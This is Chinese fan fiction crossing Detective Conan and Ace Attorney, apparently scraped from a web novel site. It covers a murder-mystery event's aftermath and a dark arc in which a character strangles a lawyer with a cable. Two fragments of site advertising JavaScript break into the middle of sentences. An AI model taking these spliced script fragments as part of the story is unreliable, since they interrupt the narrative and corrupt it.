第四个碎片于暴风雪山庄中由绫里千寻解出。她早就从玩家口中得知要紧盯拉娜唯的行动路线,于是第一天就复刻原作逆转姐妹假死;再加上她的身份天生点了玄学相关,也老老实实带了勾玉,因此对于拉娜唯脱身这回事,解开心锁,NPC给她的回答是:的确与灵魂有关。绫里千寻于是做出结论,拉娜唯的确与绫里家有关,连带着她的孩子汐华真理也拥有了这份隐姓;不过没什么用。看起来那个男孩并不擅长玄学相关,毕竟绫里家的能力传女不传男,因此有了也没有吧——等一下。 绫里千寻忽然精神一振: 坏了!这样一来真理和佑希有血缘关系啊! 虽然看起来轮廓相似然而配色天差地别,大概这份亲缘关系很浅薄吧。 她对着终端着急到有些语无伦次,然后听见外头磕的更起劲了。 行你们有种。 这一回解开的视频则忠实地诉说了拉娜唯怎么追索到动物园,如何在此基础上了解到仓院之壶失窃相关,最终的最终,视频定格在拉娜唯握着宫野志保的手。她说保护好你自己,字缝里满是千万道声音,异口同声地说留下来。 “再见一面”。 我把海水装进花瓶。 [记录已解锁4/4] [我们痛饮。] 四段视频接到一起,倒也凑得够平常一部OVA的时长;不过谁要是说这是个OVA,不用官方下场,玩家乃至追直播的观众都能上去砍人。明眼人都看得出这回活动属于赔钱砸吆喝,主要也是宣传宣传动漫本体,并不指望赚钱。结束的时候大概是凌晨五点,实在熬不动的老人家(这话真不留情)睡觉的睡觉,命苦加班的加班;年轻人呢,多少有点熬穿了的经验,大多数都不肯睡觉。而在解密全部结束之后,所有场次全部互相开放,变成了彻头彻尾的参观场景。主催小姐站出来对大家叮嘱,每场的NPC虽然大部分还在场,但是他们的上班时间其实已经结束了。如果他们愿意和大家一起玩的话当然好,非常累的就不要再打扰了,看看就好。底下有个很机灵的说:其实我们也非常累,纠缠不动了。 人走的差不多,主催小姐活动计划在时间控制内顺利结束,她非常喜悦,仿佛看见七位数已经打进银行卡。回头一看发现还有人在场,见此机会说大家要不要来试试我们私底下研究的游戏? 阿莱塔……或者说拉娜唯,盘腿坐在地毯上问:“什么类型的游戏?” “单机玩就半解密半卡牌战旗吧,多人的话就是纯卡牌对战。试试?” 拉娜唯来了兴趣:“试试就试试。” 贝尔摩德靠在她边上,闻言肘她一下:“你不会要熬穿吧???多大岁数了心里没b数吗?土埋眉毛的年纪开始热血上头?” “那咋了?” “PPT做完了吗你就玩起来了?” “……你要在这做PPT啊。” “反正我不玩游戏。” “那刚好,我打游戏你帮我把我的活干了。” “?” 贝尔摩德把笔记本一拍,怒而开始肘击拉娜唯。拉娜唯被肘的嗷嗷叫,反肘回去,场面非常好看。最后二人互肘幸终;边上的宫野志保、汐华真理、绫里真宵和舟桥佑希四个小登鬼鬼祟祟地摸过来,刚好凑了一桌,水灵灵地开了个对弈模式,看着像在打三〇杀(。 拉娜唯耐着性子对着电脑敲键盘,敲了没有几下,十分无聊,站起身到处乱走。只是大厅被收拾干净,其他的小房间呢,高情商的说是保留了场地优势,直说就是活动经费该花花该省省,反正也不耽误玩。透过布满灰尘的玻璃看到的是草地上自由自在走来走去的动物,还有透光率不够高以至于倒映出的属于自己的下半张脸。忽然间她听见电脑启动的声音,那声音非常老,而后一簇光像点亮打火机一样在她脸侧亮起来。她马上回头,房间里的两个人同时不轻不重地吓到了对方。看清对方是刚才一起聊过天的玩家,确实心安,然而却也不知道有什么可说的,干脆就不说好了,转身的转身,玩电脑的玩电脑。再过了没五分钟,又有人一上来就开腔:哦,我没想到这里有这么多人。 牙琉雾人左看看,拉娜唯在那对着落地窗罚站;右看看,诸伏景光对着面前五个老式台式机试图驯服操作系统。要说这二位皮下看对了眼在这约会,那倒不是不行:这场的玩家聪明过蠢过搞笑过装b过喝醉过,就是没有丑过。但看这气氛不像。总而言之,我最好没打扰到什么(打扰了又能怎么着吧)。 虽然二人没在干什么,但牙琉雾人的出现还是让气氛变得微妙起来;至少有第三人在场的情况下,对着落地窗罚站就不很对头。拉娜唯拍拍手——她才留意到自己的手上沾上了玻璃窗的灰——走过来。台式机面前堆着一些布袋一样的沙发,人一坐就陷进去。诸伏景光好像已经调出了游戏操作界面,人陷在沙发里像盘手的布偶猫。拉娜唯不远不近地坐到他边上,余光瞥见牙琉雾人往自己边上挤,没办法,只得往里凑一点。这样一来就又多缩了一只暹罗。 “……只有一个手柄。” “只有一个手柄,控制五台机子?” “主办方的问题。主办方说已经把毕生的收藏掏出来了,发现朋友来他家打游戏顺手柄的。” “这什么朋友!” “就是。为啥没把机子一起顺走。” “可能连着线抱不走。” “。?” “不过三个人本来也没办法联机,人家一场要四个的。”拉娜唯瞥了一眼诸伏景光手里捏着的唯一的一个手柄,回绝了对方作势要递给她的举动,“你只管打单机,不过边上多两个多嘴的人罢了。反正电脑是你修的。” 诸伏景光对着她眨了眨眼睛,点头,挑选游戏界面,一直滑到最后一个。牙琉雾人冷不丁地问:“为什么突然想起来到这里打游戏?”他眼镜上的反光倒映出电脑屏幕上的游戏图标,有一个和什么三维弹球桌球星际大战之类的小游戏截然不同的,精度相当高。是主催掏出来测试的半成品游戏。 “你呢?你又为什么来这里?” 诸伏景光隔着拉娜唯,巧妙地把牙琉雾人的问题打了回去。 “我以为你会和那个公安警察一块儿……抱歉。你们应该不认识的,是我把动漫代入现实了。” “他正在和主办方的工作人员一起吃饭。还有,虽然以前不认识,但是我们已经是朋友了。……你还没回答我的问题。”诸伏景光好脾气地笑笑,“为什么……” “成步堂美贯。” 牙琉雾人冷淡地打断了他的问题。 “——所以,是你们四位解开了隐藏剧情对吗?” 在旅馆的顶层,繁星熠熠。石砌楼梯上铺着地毯,阳台上挂着层层叠叠的纱帘,龙舌兰叶编织成露台圆桌的桌布。迎接四位来客的人是哈维。他朝着来客示意随意坐下即可,还没转过身去已经听见背后降谷零损莱伊说看这架势要给优秀玩家发奖状了,邮轮上解剧情的明明是贝尔摩德,让她赶紧下去。莱伊也不跟他客气,说那你去帮她赶PPT去!她同意我来,管好你自己。俩人就这么水灵灵的开吵,绫里千寻是听说过这个片场的红方头子彼此看不顺眼,没想到已经模因污染到玩家皮下,看热闹似的拉架。小泉红子手指打着圈儿地玩头发,感觉看不顺眼所有人。 哈维马上解释:“……不好意思,还真没有特别奖。这个环节只是安排来听玩家反馈的。毕竟这个活动是首次开展,虽然我们也做了很多次测试,但规模和完整程度毕竟还是比不上真正的游玩。退一万步说我们的游戏也是做给玩家而不是工作人员,所以你们的意见很重要。……至于奖状这个东西,反馈的话,下次加上。我们调整的还算勤快,虽然主故事线跟TV更新,但是里面的小解密比方说笔记本密码电脑锁都是一周一换的。对了,你们吃了吗?” 都是摇头。 “那吃点?我们老板除开发工资也是包吃包住的。我就是一个人吃了五个人份的又能怎么我呢!等下我把饭叫上来。” 一开始大家也夸一夸说场景布置做的好,NPC扮演认真,基本上的场面话说的差不多了,饭也上来了。一吃起来就没跑了,莱伊先开麦,说自己这个皮真的太吸引火力了,走哪被gank到哪,下次估计真没什么人费大力气出完然后享受三小时电击。与此同时边上的罪魁祸首就在那幸灾乐祸:“怎么了喝醉也是皮的错是吧!” 绫里千寻深吸一口气,竖起叉子隔开来:“你俩要不让开,我坐中间。” “那他俩就面对面了,可以互相扣盘子了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”小泉红子轻轻补上一句,哈维在背景音里惊慌失措:“手下留饭啊二位!” 看在哈维的面子上,饭是活下来了。哈维吃了一会儿,说热,身体原因,头不能闷,要摘假发了请大伙见谅。绫里千寻第一个点头,然后看见对方取下黑绿色的假发,底下是寸头。因为颅骨条件太优越,脸颊瘦削有棱有角,以至于浓墨重彩的COS妆到了对方脸上反而不觉奇怪,直像是搞死亡摇滚的。“而且……你是女生吗?” 哈维转过头,笑了笑:“我帅吧。” 小泉红子坐直身体,惜字如金,但眼神很坦诚:“帅。” “……你是不是身体不好?” 边上降谷零上下打量莱伊一眼,嫌弃道:“你怎么跟人说话的?” 莱伊懒得争辩,哈维倒大大方方地:“你说的对。我情况刚好了一点,从医院出来,被主办方私聊说要不要来当一个比较重要同时也不累的NPC。主办方说就当个摆件,连回收下场玩家都不用,只管会弹琴会调酒就行。收费酒水还提成呢。我就来了。” 其他人了然地点点头,听见她的下半句话是:“大厅确实挺舒服的。再来呢,统一在后台化妆的时候我说合照黑羽快斗也应了。本来来也是冲着他来……” 降谷零:“……嗯?” 哈维问:“怎么了?” “没什么吧。大概。” “我来得太晚,没听见你们的推理过程。还没落座,你被那边撬走;那边的成步堂美贯又一拍桌子,下了最后通牒。……我还挺想听一下的。” 牙琉雾人冷不丁地插一句:“是我说的不够清楚吗。真不好意思。” “没有的事。”拉娜唯微微出了一口气,斜睨了一眼目光没有离开屏幕的诸伏景光,对方正在和机器进行着紧张刺激的博弈。百分之八十七,百分之八十,百分之七十三。“你没空吗。算了。雾人老师?” “也不至于没空。”诸伏景光说,“但是说不定我的思路是错的。——或许已经被事实上的否决了。” “但是时至如今我也还是很在意。你说说看吧。”拉娜唯说,同时想起那个醉的酣畅淋漓的女高莱伊说她们——他们。或许该见过的。百分之六十九。百分之六十四。百分之六十八。她看着屏幕,屏幕上底图是一张像素风格的立绘,旁边是三个选项,下标成功概率。有点像斗蛐蛐,一共十轮,每一轮结束结算,最末尾的没有招新,其他人按照名次招新。前五轮名次垫底回合轮空,后五轮名次垫底还要扣人。一次的运气不好带来的就是滚雪球一样的代价,多人竞技倒还好,大伙多少都会倒霉,互相扎小人也有乐子;然而放在单机路线下就很折磨了。 不过游戏里的像素小人实在是可爱,配乐也很有节奏。粉丝作品为爱发电,就算实在玩不下去关了就好,没有什么指责的理由。看着屏幕里的棕黑色短发小人急急忙忙地跑,背后跟着一群小鼻噶人,感觉拿去做桌宠肯定大有前途。 百分之六十五。百分之五十三。百分之三十一。 “不是,你怎么选的百分之五十三那个?” “……我怀疑百分之六十五的那个是自爆命换命。我之前失败过两次,走到这里就是险之又险,再减员的话估计完全走不动了。”诸伏景光手背抵住下半张脸,“不能走一步看一步。不择手段地通过当下的环节,等于把自己逼进死路。” 一行字跳了出来,背景图亮度渐渐暗了下来。 [行动失败] 拉娜唯不置可否地评价:“首先你要有能看见下一关的资格。还在思考吗,远视主义受害者?” “你要来试试吗?”诸伏景光朝她递了递手柄,但是被半途拦截。 “结束的太快了。那个成步堂美贯——也找的太快了。”牙琉雾人一如既往地用他饱含弦外之音的声音说。也是他插手接过手柄,“我来试试吧。刚好你去跟她讲推理思路。” “——所以你才是叛徒啊!” 绫里真宵的声音清脆地回响在大厅中央,年轻的小女孩满眼都是不可置信,边上早围满了看热闹的人,斗蛐蛐天然的配料是下注,此时水泄不通。也不知道围观的谁准备的这么充分,掏出气球锤子递给绫里真宵,女孩抓起来,对着汐华真理就是一阵酣畅淋漓的殴打:“我!怀疑了志保!怀疑了佑希!连我自己是不是没看懂游戏规则都怀疑了!为什么是你在坑我??” 汐华真理雷声大雨点小的搁那叫:“那咋了,游戏设置内奸了,分配给我了,咋的我不能玩?” 宫野志保气笑了:“你也没玩明白啊?你要是活到后期了我倒是会怀疑你,你怎么暴毙的这么早?害的我最后虚空打靶,反手刺杀自家水晶,你的脸呢?” 汐华真理被打的嗷嗷叫,依然有空贩剑,无耻一笑:“太聪明想太多导致的。”被联合暴打。 在场的四位玩家只有降谷零大幅度参与大厅讨论,虽然没有特别去问,但离得近外加观察力好,是记得成步堂美贯自称首次线下观影的黑羽快斗粉丝。不管怎么说,巧合似有若无,倒令人不知从何说起。但是,如果成步堂美贯是冒充的,意义何在?我们这儿可没有什么谜题或者宝石,非得要人乔装扮演,掩盖身份。在渡船上——离开旅馆,这是剧情意义上的赢家的权益;而输家则要在旅馆中永生永世地快活啊,享乐啊,不能离开。当然,当门票失去时效的时候也还是要赶人的。穿过湖心的瞬间,他想拿终端,忽然想起来自己手上的是舟桥佑希的,于是想着能不能拐着弯儿问绫里千寻或者小泉红子联系大厅的人,再去确认成步堂美贯的情况。 “我想起另一件事。”莱伊忽然开口,“我认为,不,是我肯定——我,或者说莱伊,和拉娜唯见过。我可以肯定。” “——所以你的意思是探员们在追寻一个以鹰作为特征的连环杀人犯?” “猎鹰。”他说,“应该是探员们给这个犯人的代号。说实话,看见Lora的时候,我就在怀疑致敬《双峰》了。” “Lora是受害者之一吗?” “按照记录来说,Lora声称自己被跟踪,被监视,最后却死于自杀。很奇怪。她说她看见了鹰的影子,张开了翅膀。” “……那为什么不是锈湖呢。” “因为她说这只鹰似乎有着截然不同的态度……锈湖中没有暗合这一点的。不过,双峰第二季结尾,探员库珀电击后分裂了。” 声音经过电流的传输,曲折扭转,一直传达到听筒里头去。然后女孩站起来——在旅馆的密室之中,推开办公室的门,绕过胡桃木长桌,看到了她的同事们。看见成步堂美贯出现,同事们笑了,说主催小姐好魄力!但是为什么前期一直要把控方向,最后却任由他们自由探索了呢?她说:我认可了他们的能力。我相信他们,他们也没有辜负我的期望。好了,开始吧?他们点点头,像工蚁一般进入了工作模式。 枪声忽然回荡在整个夜空,久久不散。由于这片国土过度安宁,以至于叫人以为这是欢快的爆竹声或者别的什么东西断裂的声音。不能看到夜空也就不能看到了,隔着湖也不能看见什么;电影院门口的人,降谷零和莱伊却几乎是一起跑上天台,比起身后二位身着不便的女士还是要行动快速。然后他们看见此生所体验过的任何游玩项目里永世难忘的一幕。纸币如雨般纷纷而下,而空调外机鼓出的热风令人以为血肉的滚烫溅到了自己,目之所及的一具躯体还在天台中央艰难待死。他们凑上去一看,哦,是诸伏景光。他们游玩了一整场,终于确认为红方的忠诚纯洁的卧底警察。这时电梯轿厢叮的一声打开,楼梯门被推开,轿厢中的人探头探脑,似乎有人在拍照;而红色西装的检察官先生气喘吁吁,四处打量,似乎想为自己走楼梯但所有楼道都被封锁讨个说法。下一场次的游玩开始了。 66.这章我喝大了写的 长官阁下,我们的话千真万确,于是他长舒一口气,没有意识到有个身影顺着墙根溜进去了,非常小巧,披着披风,像一只戴礼帽的小蝙蝠。 她溜进拘留所里的时候,那个女孩平躺在床上,像死了一样。她的脸色看起来与身下躺着的床单是同样质地。这让或真敷美贯感到一点点惊讶与无从下手,好在对方很快就醒来了,一双眼睛平静地注视着她。 舟桥佑希歪了歪头,似乎对于这个不速之客感到预料之外情理之中。 “有人托我把这个给你。”年轻的未来的大魔术师凭空从手中抽出一张卡片,舟桥佑希的目光随之落在上面,一张黑桃。她沉默片刻,与此同时听见自己的心跳声震耳欲聋。她摇摇头:“我不懂。” 或真敷美贯说:“扑克牌。前些天有个男高中生去拜访成步堂律师,他们聊了几句,然后律师先生托我给你。” “那男高中生长什么样子?” “头发蓬蓬的。” 小魔术师幅度很小地抬头,看见年轻女孩的面容忽然之间变得苦涩了。她好像要笑,但是嘴角却向下;皱着眉头摇摇头,眼睛发涩,最后闭上了。人竟然能踌躇困扰至此。 她又问:“那个,棕色头发的,和我一样大的……” “白马探吗?”或真敷美贯直截了当地问,“他脱离生命危险了,不用担心。”她看起来虽然还很幼小,但是个人的经历令她并不需要别人去假作幼稚的语气和态度去同她讲话。她还小。但是她做大人很久了。你问她有没有看到一家人走过去,当中的孩子在睡觉觉怎么都不醒呀,美贯说一家人没看到,但是看见两个人贩子带着受害者逃跑呢。 舟桥佑希很怜惜地看了或真敷美贯一会儿,也许对方也这样怜惜地看她。这简直是倒反天罡,像是被流浪猫刨出一根火腿肠,叼着交到手上。这种情绪到来的没理由的。说不定不只是在看美贯。“成步堂先生嘱托我干什么了吗?” “他只说,要你上法庭后把这个交出来。剩下的他来负责。” 舟桥佑希伸出手来,摸了摸或真敷美贯的脸。她把牌收进袖子里,做出循循善诱的神态,对女孩说:“去告诉律师先生,我要见黑羽快斗。” “……黑羽快斗?”或真敷美贯重复了一遍这个名字,愣愣的,很真诚。有一瞬间舟桥佑希的神态忽然令她感觉到陌生又熟悉:陌生是在这样一个女高中生的面上浮现实在太过超前,熟悉却是,她在某人的脸上正见过这副光彩。她正要转身离开,忽然感觉到手腕上一阵压迫感。很久以前,或真敷美贯就知道自己总是观察到常人所不能观察到的东西,每一次手镯微微发紧,都意味着什么事发生。这总归不是什么好事,谎言和恶意背后的真相总是不能被外人所知。 她回头。 “你看到什么了吗?” 舟桥佑希依然平静地看着她。 或真敷美贯无声无息地离开了。 舟桥佑希花了几分钟令自己活过来。看见美贯到来并且从手中变出一张牌来,她面上不显,实际上心凉了半截,也自嘲自己怎么那么大脸竟然宣称自己已经阻止了法的黑暗时代到来,看样子或真敷美贯迟早要改姓成步堂。都是早晚的事。自她醒来之后,就可以在余光里瞥见一个人影;绫里麦尔丝站在角落之中,对她一字一句地用口型说:“你还有半个月时间。我为你留够半个月时间。” 她眼中的神情意味不明。 舟桥佑希抬起眼,眼中有几个光点闪来闪去,像是夜里的萤火虫。她倔强又生动地追问:“我只是不明白。亚瑟需要重写剧情,但你手下的作品剧情不说没有差评,也是赞誉大于批评;我不明白……我不明白你究竟要夺取一副躯壳做什么。” 绫里麦尔丝并不回应,消失在黑暗之中。 舟桥佑希重重地躺回床上。她闭上眼,世界是黑的。耳朵里听见血流汩汩的声音、心跳、呼吸。这些也许很快就不再属于她了。 第二日东京立即戒备森严,对普通民众而言,确实是莫名其妙。当夜的确花车游街五光十色,一片华丽欢乐的海洋,第二天随之而来的就是仿佛要把人拉回上世纪的宵禁与安检——甚至上世纪也不曾如此高压过。忽然之间下了如此之重的命令实在令人惶恐不安,上行下效,恐慌潜滋暗长。好在检查委员会会长一柳万才先生勇担大任,及时出面,安抚民众;不避讳地解释这一命令发布的原因,言辞公事公办,字字句句直指或真敷剧团内部的纠纷。 原来剧团的主人或真敷天斋如今性命垂危即将不久于人世,而昨夜的花车游行即是二位弟子为争夺继承权的体现;倘若只是竞争表演倒也无可指摘,最多对这二位异乡来客提点两句不可扰乱交通,更不可随意抛弃国家的通行货币。然而,或真敷天斋死了。他额头中弹,死于昨夜,事情一下变得严重。 最后的最后,一柳万才称自己一定会调查出事情的真相,还无辜死者一个清白;而昨夜经过媒体层层转播,不畏强权地保住普通人的那个警察将会受到嘉奖,成为他极受信任的下属。这位美髯公精心打理的头发与胡须像极了希腊雕塑,声音的抑扬顿挫令人恍惚间以为自己正在教堂听得圣音,会想起昨夜屏幕中央令人一见难忘的白色头发红色瞳孔的年轻面容,更加确信天父叫了他的天使降临。一想到自己正在被这样有力又仁慈的天神与神侍庇佑,再胆小的人也挺直了腰板。 人们就这样拒绝,品尝,回味或真敷家族的秘辛与怨仇,再添加以感动的泪水与轻蔑的鄙夷作为佐料,一顿珍馐佳肴就这样经过众人之手烹饪完成。至于其后掩盖的谋杀与阴谋,算计与背叛,便被妥善地遮掩过去了。 人的命由天定。 说是病房其实也不是,它想变的话随时可以变成停尸间。世界上应该没有人能在肩胛和心脏被各开一枪之后活下来,按道理来说是该当场死掉的。但是汐华真理出来说叫牙琉雾人进去,这位律师先生也不推辞地进去了。这个孩子平时爱穿什么?白色的衬衫,牛仔裤,没有任何别的装饰。手腕上有时候扣一支手表。他现在穿什么?黑色的大衣。对了,现在天已经冷了。西装裤,看起来眼熟。把人类柔软的易伤的躯体严密地包裹起来,仅仅留下一张脸。他就好像一只被乌鸦栖息的路灯。朗姆是急性子,问:“只叫了牙琉雾人,对吗?” “死亡永远不会死亡。先生。”汐华真理答非所问。他随即环视周围,望过在场每个人的脸。琴酒在吸烟。朗姆坐着。贝尔摩德向他投来饶有兴致的一瞥,像是看一只被丢进醇香酒液中费力游泳的老鼠。它会学会吗?也许在学会之前就已经醉倒了。淹死。生命如此脆弱。这些都不是他要找的。他就这样等在这里,不闪不避,连带着迟到的那个人预留的时间也失去效用。他就等在这里。老鼠的耳力特别好。他听见熟悉的引擎声,安静地等人上楼。 一般来说大部分人不敢见苦主。但是也有例外,有时候和过往相勾连的痕迹也会带给人心安,也就是说,有的人犯下错事,并且意识到这件事决计不可能遮掩了,就会用另一种思路来带给自己心安:这件事是正常的,是普遍的,是别人所可以容忍的。我虽说坑害了你的幼驯染,却还要见你,不知道什么毛病。人有的时候是贱一点。 他就看着走廊的尽头出现人影,越来越靠近,越来越熟悉。并且从背着光的黑色剪影里品出一点奇妙的抵抗。在这空镜头里的虚无中,汐华真理后知后觉的抓住一点吊诡的恶心。说不定是抓住了自己的尾巴。 对方没有直视他。这让他感到一点手握主动权的优势,不过也只是一点点。波本一来先和周围所有人寒暄,说寒暄也不算,倒是和所有人呛嘴,看到汐华真理,还是沉默,还是沉默。似乎已经宣判,有谋杀的痕迹。朗姆没回头,不正眼瞧自己的下属,只问为什么来的这么晚。“我顺便带来一个消息。”他不卑不亢地回答,声音没有一丝波动,但事实上他不该没有波动的。毕竟刺了周围一圈人,唯独剩一个最新手的没有刺,算什么。“boss考虑到波士力娇的身体状况,特令她的儿子接手这个代号。” 贝尔摩德说:“说的好听。”实际上是发现这个人好用于是往死里用,用死了换儿子用。朗姆则表情难看:“那位大人直接联系的你?”潜台词是凭什么越过我?“原来是继承制。”琴酒说。看起来是并不认可汐华真理的能力,情理之中。 汐华真理站在房门口说谢谢。 同时他感觉自己的后脑好像砰的一下无声地炸开了。 连带着过去。他居高临下,再度认认真真地看自己这位曾经的上司,永远的债主,未来的下属,从对方挽起的袖子意识到对方刚从波洛出来,一时间竟然后悔的是自己怎么没给风见出个馊主意,让他下次准备会议饮料的时候在波洛定。太可惜了,以后再也没机会了。想到这里他发自内心地笑,忽然之间想到自己知道这个班有的上的时候,好像也是零哥来通知的。两个身影在眼前交叠,恍惚间好像看见对方身上穿的是灰色西装。 他笑。旁人以为他是有了代号笑。 没人提出异议。 他对我笑。 降谷零恨恨地想,感觉自己是要掐死一株向日葵。 该死的。 牙琉雾人一进门,立刻被反剪了双手摁在窗台上。外头说的死生不明的女人此刻看起来恍如新生,眼睛里的火焰仿佛很坚硬。她的眼睛很金,很尖锐,很符合他的审美,作品业已完成。牙琉雾人很放松,也许自己也清楚自己这小身板不值得劳烦大驾,唯扭断他脖子之后他的头还要倒着来一句欧内的手好汉!但是这样也太难看了一点。好学生弃他精心打理的金色卷发于不顾,这样不好,不好。 被谋杀的对象显然没有意识到自己如何举步维艰,玻璃窗倒映出的他的面目一点儿也不失态。拉娜唯就这样摁着他,一言不发。这一点反常的沉默令牙琉雾人有着稍稍的困惑,或者说,怀疑。他试图去看窗户里的倒影,但是什么都没有看到。那个女人只是沉默。片刻之后,她似乎开始轻轻地无意识地摩挲牙琉雾人手背上被自己养的狗咬出的伤痕。不祥之兆。他依然什么都看不见。 自拉娜唯醒来起,她便可以看到墙角有一个鬼魂。每当她鼓起勇气去直视那个鬼魂时,鬼魂即刻也注视她。用蓝色的眼睛。永远。在每一个他认可的不认可的瞬间。但是,鬼魂自始至终,没有来到她身边,不曾尝试夺走她的命脉。如今,看见她把牙琉雾人压制在窗台上,鬼魂终于动了。 这样没有用。他想。诸伏景光想。这个蓝眼睛的幽灵这么的不请自来,但他也没有别的好去的地方。他看见拉娜唯的动作卡顿像小女孩廉价的发卡但是仍然不回头,一觉醒来生龙活虎地先抓来罪魁祸首兴师问罪,她睡眠期间脑子也在转。他的逻辑又提醒:你这样没有用——至少你不能就现在把他杀死在这里。但迄今为止,他还没有开口。他就那么安静地站在那里,像一张凝固的照片。 拉娜唯背对着他,手上使劲,又往下压了压牙琉雾人的背:“你是罪魁祸首是吗。你一定就是,对不对?” “是的。你怨恨我利用你的手吗?”牙琉雾人费劲地偏过头来,眼镜滑落,一边搭在窗台上一边被颧骨挽留,不伦不类。他发现,拉娜唯好像并不是对着他说话。如何,她在自说自话吗? 拉娜唯的呼吸急促一点,又问:“虎狼死家是你雇佣的?” 金发的恶魔低低地笑了一下,好像没有预料到拉娜唯会问这个问题,或许她的脑子也乱成一锅粥,于是捡了最不烫的入口。虽然她是刽子手,是法官,但是神情恍惚,在自己的头脑里刀耕火种;不得不放任怨恨、愤怒、后悔、愧疚,掺杂,混合。从没有一个人这样迟钝。但是,但是: “——就算如此,你也什么都不能做。” 他说。 荒唐! 拉娜唯立刻被激怒了。这一回的愤怒只朝着手下这一个发泄,她深重地呼吸几声,环顾房间,没有看到武器,看见一根数据线。数据线抽人并不能造成除了疼痛以外的伤害,但是她现在实在是迫切地希望牙琉雾人能断一只胳膊或者一条腿,或者造成精神上的什么伤害——永远不要被治愈。像他的狗在他手背上啃出的伤疤。对。让人一眼就看到。她用数据线死死地勒住了牙琉雾人的脖子。死生之前谁也不能免俗地抓挠,好像浑身瘙痒。拉娜唯破罐子破摔地意识到自己正在从践踏别人的尊严中获得自己的尊严。不识趣的灵魂立刻前来开口争辩,已死的死刑犯则正倒反天罡地为律师辩护: 你杀死的每个人都会出现在你的眼前。你碰得到他们,听得见他们说话。并且他们将不会再离开你的身边,像我一样。诸伏景光用他一贯的恼人的冷静思考劝阻的话,你是否要继续呢?简直跟死的不是他一样。 这句不好。 他看着那个身影,她又颤抖着在律师的气管上施加酷刑,这是她最后的最后的尊严。然后她松手了。她俯下身,咬着牙仿佛扯着一根筋,一字一顿地问牙琉雾人:“你说。你说为什么。” 牙琉雾人获得了吝啬的自由之后先是俯在窗台上剧烈地干呕。他的尊严好像记忆棉,一下就回弹到原来的形状。然后 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想自己以后教学生可以用这种办法,让学生不停地向自己提问。最后才想到要正面回答问题。 “因为您的命很宝贵。”他轻轻地说,“只要从你的手中漏出一点就足够我饱餐一顿了。而我不得不想办法令您漏出的东西再多一点——现在,您什么都有了!要地位吗?一柳检察官可以在五分钟内发来您身边所有内鬼的名单;当然,看起来您好像也不是特别需要。要钱财吗?我可以翻遍法典来寻找最省力的办法。当然,从算计、堕落和黑暗中寻求滋养的,同时也在腐败;但是,人类最纯洁的就是欲望,最善良的便是怨恨。只要生命仍在上升,幸福便与本能相等。” 他慷慨陈词,非常自信。但最后凑近拉娜唯,气音说了一句什么;他立刻受到了释放,从猛禽的羽翼下得以逃生。这就是青色闪电,王牌律师吗。诸伏景光看着这一切的发生,心想。 “我相信您。相信您有赴死的决心,相信您有殉道的勇气。” 最后,牙琉雾人律师做出了总结性陈词,条理分明,自信万分,像在法庭中的每一次完美发挥;虽然他衣衫不整,发丝凌乱,气息不稳,手指病理性般的痉挛;他的不得体已经明确到没有门槛就可以察觉,或许撕破了伪装的野心才是真正的野心。 “……但是你真的甘心停滞在这里吗?” 那个声音又轻又温柔。却像静夜里的一个惊雷。 拉娜唯先是从头到脚地冰凉。随之而来的怨恨即刻开始增长,直到她的精神像是一根过分紧绷的绳子,终于断了,支离破碎。但是旋即感觉到诡异的安心。像是听见楼上的酒鬼砸下了一只靴子——亦或者说那靴子就拴在她赖以为生的精神与自我认可之上。一直以来集中精神等待第二只靴子砸下来。现在终于落地了,她也可以睡觉了。 门在此刻被粗暴地打开。 我们先前说过,朗姆是急性子。他非常不可以忍耐波士力娇这样耍大牌的行径,尤其是她还从自己手里拽了十亿大撒币没有还。可以说,就算这个女人现在死了被火化了骨灰抛进海里,他也要抓灵媒师过来灵媒,非得争一口气回来不可。他或许想到自己进来的时候可能出现的场景,但实在没想到眼前这个场面。 拉娜唯慢慢地后退了半步,然后一回头。她背着光,面部模糊不清,笼罩在阴影之下。一瞬间一切安静,就仿佛有天使经过窗外——朗姆绝口不提这是因为波士力娇的神情,她的气质,她的一切带来了压倒般的冰冷——显然,这里是没有欲望的。因为这里既不纯粹,又不圣洁。他顿了一下,随即语调奇怪地嘲笑道:“行行好。穿好衣服,从男人身上下来,可以吗?” “我一切都很好。只要你不往这儿来。” 波士力娇对他说。这有理由构成一句威胁。 门被用力关上。 拉娜唯开始换衣服。她的动作非常快,只够在场的人转身。那不是她最后一次为这种少见的沉默而感到高兴,但这种沉默背后带来的噪音震耳欲聋。她利落地展开熨烫的齐整的衬衣,还没有一颗一颗系上扣子的时候,感受到一种奇妙的平静。她对着镜子检查自己身上的伤势。看张牙舞爪的落脚蔓延。虽然理论上讲人业已复活,前尘旧事不该再提;但身上还留着伤痕。穿衣服像把这种伤痕裹在妥帖的包装里,像精心打包一束枯萎的花。也阻隔了任何人,包括自己的视线。 她让自己的脚带自己转身,准备离开。右手开门,但几乎是同时,左边的衣角被拽住,右手被卡。她一时间死死地抓握左手,感觉指甲在手心作痛。她对自己说,提醒自己,你看到的,右手上覆着的手,肤色是白的。所以你该从左边回头。 背后,牙琉雾人仿佛已经有了什么预感。他抓住拉娜唯的衣角,像是班主任对于即将上考场的学生最后的嘱咐不要忘带文具:“别让心软毁了你。别让愧疚推翻你。不要让自己的心血,自己的努力白费。你不会的,对吗?”他在拉娜唯的左后方叮嘱。 与此同时,诸伏景光抢在最后的关头——他大概意识到这是最后可以说得上话的机会。声音也算沉静,但语速明显的快:“既然选择走上这一步,回头就太晚;改弦更张的代价太重,而且未必能成功。如果……不要回头了。”他在拉娜唯的右前劝阻。 “我相信你的判断。” “我等待你的承诺。” 拉娜唯的呼吸声在这寂静的房间里显得很沉闷,甚至是苦闷。她低下头,颤抖着收回手,然后奋力地把自己的衣角解救出来——她本来,她什么时候,都不至于如此无力。但是她其实压根不用花什么力气的,因为牙琉雾人甚至主动放开了她,推了她一把。门打开了。拉娜唯迎着门口已经等待多时的人的眼睛。她深呼吸。因为她知道自己即将不留痕迹地融化在其中了。 贝尔摩德率先开口,摆摆手:“总而言之,即便如此——反正先恭喜吧?毕竟做出了很不错的成绩嘛……” 琴酒一言不发地盯着她。看她的眼神像在看一把枪或者一把刀,总之不是一个人。他太无聊了。 这儿的人不只是这两个。但是有些人她不想看。 